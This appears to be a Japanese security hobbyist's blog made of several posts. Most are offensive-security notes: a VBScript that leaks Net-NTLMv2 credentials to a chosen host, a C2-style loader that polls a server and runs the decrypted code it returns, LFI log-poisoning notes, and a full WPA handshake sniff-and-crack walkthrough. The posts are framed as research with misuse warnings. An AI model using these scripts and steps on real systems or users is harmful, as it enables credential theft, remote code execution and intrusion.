Kaliでazcliを使えるようにした際のメモ

tl;dr

コマンド

インストールエラー

root@kali:~# curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
export DEBIAN_FRONTEND=noninteractive
apt-get update
Hit:1 http://linux3.yz.yamagata-u.ac.jp/pub/linux/kali kali-rolling InRelease
Reading package lists... Done
apt-get install -y apt-transport-https lsb-release gnupg curl
Reading package lists... Done
Building dependency tree       
Reading state information... Done
curl is already the newest version (7.67.0-2).
curl set to manually installed.
gnupg is already the newest version (2.2.19-1).
gnupg set to manually installed.
lsb-release is already the newest version (11.1.0).
lsb-release set to manually installed.
The following NEW packages will be installed:
  apt-transport-https
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 149 kB of archives.
After this operation, 156 kB of additional disk space will be used.
Get:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/main amd64 apt-transport-https all 1.8.4 [149 kB]
Fetched 149 kB in 2s (61.2 kB/s)              
Selecting previously unselected package apt-transport-https.
(Reading database ... 309135 files and directories currently installed.)
Preparing to unpack .../apt-transport-https_1.8.4_all.deb ...
Unpacking apt-transport-https (1.8.4) ...
Setting up apt-transport-https (1.8.4) ...
set +v
curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > /etc/apt/trusted.gpg.d/microsoft.asc.gpg
set +v
CLI_REPO=$(lsb_release -cs)
echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ ${CLI_REPO} main" \
    > /etc/apt/sources.list.d/azure-cli.list
apt-get update
Get:1 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling InRelease [30.5 kB]
Get:2 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/main amd64 Packages [16.4 MB]
Ign:3 https://packages.microsoft.com/repos/azure-cli kali-rolling InRelease
Err:4 https://packages.microsoft.com/repos/azure-cli kali-rolling Release
  404  Not Found [IP: 13.75.127.55 443]
Get:5 http://ftp.jaist.ac.jp/pub/Linux/kali kali-rolling/non-free amd64 Packages [194 kB]                                                                                                                                                 
Reading package lists... Done                                                                                                                                                                                                             
E: The repository 'https://packages.microsoft.com/repos/azure-cli kali-rolling Release' does not have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
root@kali:~# 

マニュアルコマンドのログ

  • Get packages needed for the install process
root@kali:~# apt-get install ca-certificates curl apt-transport-https lsb-release gnupg
Reading package lists... Done
Building dependency tree       
Reading state information... Done
apt-transport-https is already the newest version (1.8.4).
ca-certificates is already the newest version (20190110).
ca-certificates set to manually installed.
curl is already the newest version (7.67.0-2).
gnupg is already the newest version (2.2.19-1).
lsb-release is already the newest version (11.1.0).
0 upgraded, 0 newly installed, 0 to remove and 12 not upgraded.
  • Download and install the Microsoft signing key
root@kali:~# curl -sL https://packages.microsoft.com/keys/microsoft.asc | 
>     gpg --dearmor | 
>     sudo tee /etc/apt/trusted.gpg.d/microsoft.asc.gpg > /dev/null
root@kali:~# 
  • Add the Azure CLI software repository←手を加えている
root@kali:~# AZ_REPO="wheezy"
root@kali:~# echo -e "deb http://security.debian.org/debian-security jessie/updates main\ndeb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $AZ_REPO main" | 
>     sudo tee /etc/apt/sources.list.d/azure-cli.list
deb http://security.debian.org/debian-security jessie/updates main
deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ wheezy main
  • Update repository information and install the azure-cli package
root@kali:~# apt update
root@kali:~# apt install libssl1.0.0
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  multiarch-support
The following NEW packages will be installed:
  libssl1.0.0 multiarch-support
0 upgraded, 2 newly installed, 0 to remove and 13 not upgraded.
Need to get 1,229 kB of archives.
After this operation, 3,353 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://security.debian.org/debian-security jessie/updates/main amd64 multiarch-support amd64 2.19-18+deb8u10 [181 kB]
Get:2 http://security.debian.org/debian-security jessie/updates/main amd64 libssl1.0.0 amd64 1.0.1t-1+deb8u12 [1,049 kB]
Fetched 1,229 kB in 1s (902 kB/s)  
Preconfiguring packages ...
Selecting previously unselected package multiarch-support.
(Reading database ... 309139 files and directories currently installed.)
Preparing to unpack .../multiarch-support_2.19-18+deb8u10_amd64.deb ...
Unpacking multiarch-support (2.19-18+deb8u10) ...
Setting up multiarch-support (2.19-18+deb8u10) ...
(Reading database ... 309143 files and directories currently installed.)
Preparing to unpack .../libssl1.0.0_1.0.1t-1+deb8u12_amd64.deb ...
Unpacking libssl1.0.0:amd64 (1.0.1t-1+deb8u12) ...
Setting up libssl1.0.0:amd64 (1.0.1t-1+deb8u12) ...
root@kali:~# apt-get install azure-cli
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  azure-cli
0 upgraded, 1 newly installed, 0 to remove and 13 not upgraded.
Need to get 88.9 MB of archives.
After this operation, 386 MB of additional disk space will be used.
Get:1 https://packages.microsoft.com/repos/azure-cli wheezy/main amd64 azure-cli all 2.0.60-1~wheezy [88.9 MB]
Fetched 88.9 MB in 6min 13s (238 kB/s)
Selecting previously unselected package azure-cli.
(Reading database ... 309163 files and directories currently installed.)
Preparing to unpack .../azure-cli_2.0.60-1~wheezy_all.deb ...
Unpacking azure-cli (2.0.60-1~wheezy) ...
Setting up azure-cli (2.0.60-1~wheezy) ...
Processing triggers for kali-menu (2020.1.7) ...
root@kali:~# 

以上、あとはaz loginして適当に。 ようやっとazコマンドから検証用AD Network構築ができるか確認できるようになった...

シストレに関する雑記

FXに限らない、汎用的に使えそうなシストレに関する考え方案をつらつら書いてみる。
正しさとか可能かどうかとかはひとまずおいておく。

"優秀なシステム"とやらのテキトーな定義と条件

その他運用に関する話

  • 損切りに関する実装
    • 実装先システムの強制ロスカット条件を満たす前での条件設定
    • 利益積み上げモデル×元手維持を満たす条件設定
      • 両建てを利用した証拠金維持率管理
      • スプレッドが大きくなった際のロスカット回避
        • ここ近年での最大スプレッドをベースにする(YJ FX、ドル円の場合4.0)

シグナル、指標に関する考え方

  • 何でもいい

雑感

  • それぞれの要素をアルゴリズムに落とせば、手でやってる肌感覚としては年+84%は余裕でいける気がする
  • 某大統領の発言とか指標発表とかそういうイベントは全スルーした上で、1日1回取引すればあとは傍観できるというのは非常に健康指数高め
  • 「できる限り利益を多く」とすると、取引回数を多くする or 1取引あたりの利益(pips)を広くする、必要があるのがリスク回避の観点でキツい。スプレッドを本番に合わせたデモ口座で要調整

Windows認証のHTTPリクエスト(Net-NTLMv2)を送るVBScript(超ヤバイ)

VBScript、オモシロイ

VBScriptネタ2つ目。枯れた技術なvbscript(WSH)で一体どこまでできるんだろうと調べているところだったりする。
内容はタイトルとサンプルソースが全て。ちなみにこれで何ができるかと言うと、前回のブログの内容&Net-NTLMv2認証に使う情報の取得+事前送信とを組み合わせて、UAC bypassやら権限昇格やらmimikatzやらなしで攻撃者はゲフンゲフンできてしまう、という話。

Windows認証なHTTPリクエストを送るVBScript

Dim obj : Set obj = CreateObject("WinHTTP.WinHTTPRequest.5.1")
Dim url : Set url = "http://hogehogefugafuga.com/"
obj.SetAutoLogonPolicy AutoLogonPolicy_Always
obj.Open "GET", url, False
obj.Send
Set obj = Nothing

結論

サーバ側にchallengeを送るためのシロモノだったり取ったデータを文字列として出力する仕組みがあるとゲフンゲフン...vbscript(WSH)、ヤバイ。管理者に刺さったりでもしたらゲホゲホ。
f:id:news-nknskn:20191204145241p:plain f:id:news-nknskn:20191204144956p:plain

くれぐれも外から送られてきたマクロやらhta(wshが動くモノ)は実行しないこと。


2019/12/13(ジェイソンの日)追記
PoCとDEMOとか説明用pptxのダウンロードリンク
https://www.dropbox.com/s/l7vdr07xooe8ptu/Get-NTLMv2.zip?dl=0
パスワードは100桁なので欲しければDMとかくだしあ

vbscriptで自由奔放に振る舞えた件

サンプルでだいたい終わり

まずはこのサンプルvbscriptを見てほしい。これをどう思うだろうか。

Function decrypt(bytes)
  ' base64 decode/AES decrypt...etc
  decrypt = string
End Function

Function HttpsPolling()
  ' Https polling and recieve encrypted vb script
  url = "https://" & c2Server & path & query
  EncryptedResponse = xmlhttprequest(url)
  HttpsPolling = EncryptedResponse
End Function

Function GoGo()
  plaincode = decrypt(response)
  ExecuteGlobal plaincode
End Function

c2Server = "sample.com"
path = "/index.html"
query = "?_=" & timestamp
sleeptime = 10 * 1000
Do
  response = HttpsPolling
  If not(response = "") then
    Call GoGo
  End If
  Wscript.Sleep(sleeptime)
Loop

すごく...ぁゃしぃです。

それはそれとしてplaincodeにたとえばc2Server = "sample1.co.jp"なんて入ってきたらどうなるだろう。

そう、sample1.co.jpに通信先が変わる。
さらに以下のようなコードがplaincodeに入ってきたら

Function test()
  MsgBox "Hello, world"
End Function
test

もちろん端末上でメッセージボックスが出る。つまり任意のvbscriptをサーバ側で指定、かつ実行可能ということ(グループポリシーとかアンチウイルスソフトに止められなければ
response = DnsPollingとか入ってきたら通信方法も変わるよ!やったねたえちゃん!

結論

vbscript、ヤバイ(アンチウイルスソフトには是非捕まえてほしい

LFI(Local File Include)ってpoisoningでバックドア開かれるよねって話

TL;DR

  • ローカルファイルのファイル名推測って必要なの?
  • とりあえずApache + PHP(もうこの組み合わせ自体古い気もするけど)のテンプレで考えてみよう
  • そうだ!我々には/var/log/apache2/access.log or error.logがあるじゃないか!

Reference

とりあえず一番古そうな記事

Notes

  • ログファイルに載ればなんでもいいのでメソッド部分、URL、User-Agentとかのヘッダ部分にとかとか放り込めめば勝ち
  • WAF/IPSがいたらさすがに引っ掛けてくれると思いたい
  • Node.jsとかGoとかのモダンなやつは自分でハンドリングした上でログ吐き出すはずだからファイル名の推測は必要だけど、トラバーサルでファイル名取得できないかなーと思ってみたり

Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)

tl;dr

  • 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
  • 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
  • それ、Macbook 1 台でできるよ
  • 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)

注意事項

  • あくまで実験の一環です. 悪用厳禁.
  • 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.

内容

  • Setup
    • airport(標準コマンド)
    • JamWifi(App)
    • tcpdump(コマンド - brewとかからインストール...かな?いらないかも)
    • mergecap(コマンド - brewから)
    • aircrack-ng or hashcat(コマンド - brewから)
  • KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
    • Scan
    • Monitor
    • Deauth: 必要があれば
    • Sniff
    • Crack

Setup

  • airport
    macOS標準の無線周りに触るためのコマンド.
    ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
    ※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport
airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
  • JamWifi
    Deauthするときに使うアプリ. 検証のときには特に必要ない.
    実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
    攻撃を受ける側の動作としてみておくと吉.
    このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
    Deauth packetを送るツールは他にもあるっぽいので要調査.

  • tcpdump
    言わずと知れたトラフィックダンプツール.
    入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)

  • mergecap
    パケットのキャプチャファイルを結合するためのコマンド.
    Wireshark同梱.

brew install wireshark
  • aircrack-ng(or hashcat)
    hash crack tool. インストール.
brew install aircrack-ng

Attack(検証)

今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.

  • Scan
$ airport -s

f:id:news-nknskn:20190403004552p:plain BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100

  • 準備
$ export BSSID=74:03:bd:74:e0:d5
$ sudo airport -z # Wifi接続の切断
$ sudo airport -c100  # Channel設定
$ sudo airport -c # 設定状況の確認 
channel: 100
$ echo $BSSID
74:03:bd:74:e0:d5

f:id:news-nknskn:20190403005818p:plain

$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
1 packet captured
40 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013427p:plain

$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
^C4 packets captured
7322 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013439p:plain

  • Crack
    • Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
  • aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap
...
KEY FOUND! [ nknskn-password ]

f:id:news-nknskn:20190403013215p:plain

コメント

  • 眠いのでひとまずここまで. なんかあればまた追記します.

Browser Extensionを書いてみる: Chrome - 2.バックグラウンドページからxhrでクロスドメインに通信を飛ばす

tl;dr

Browser Extension for Chromeの続き. XMLHttpRequest を使ってバックグラウンドページから通信を飛ばすサンプル. あくまで研究用で悪用厳禁. よく某赤いセキュリティベンダからプレスがでているmaliciousなBrowser Extensionはこんな感じの設定がされている,という資料程度にどうぞ. ※赤い会社と一切関係はありません

Code

Server

f:id:news-nknskn:20190312102823p:plain

Main point

  • manifest.json
    • "permissions": ["<all_urls>"] → クロスドメインに飛ばす場合必須
  • background.js
    • 特別な記述はなし. 普通のxhrとChrome APIの組み合わせ.

雑感

  • node.jsのngrokって軽くクロスドメインチェックする時はめっちゃ便利.
  • 以前のonBeforeRequest(Browser API) + xhrって組み合わせだとpermissionsのところに<all_urls>とwebRequestが出てくるのでそれだけでめっちゃぁゃしぃ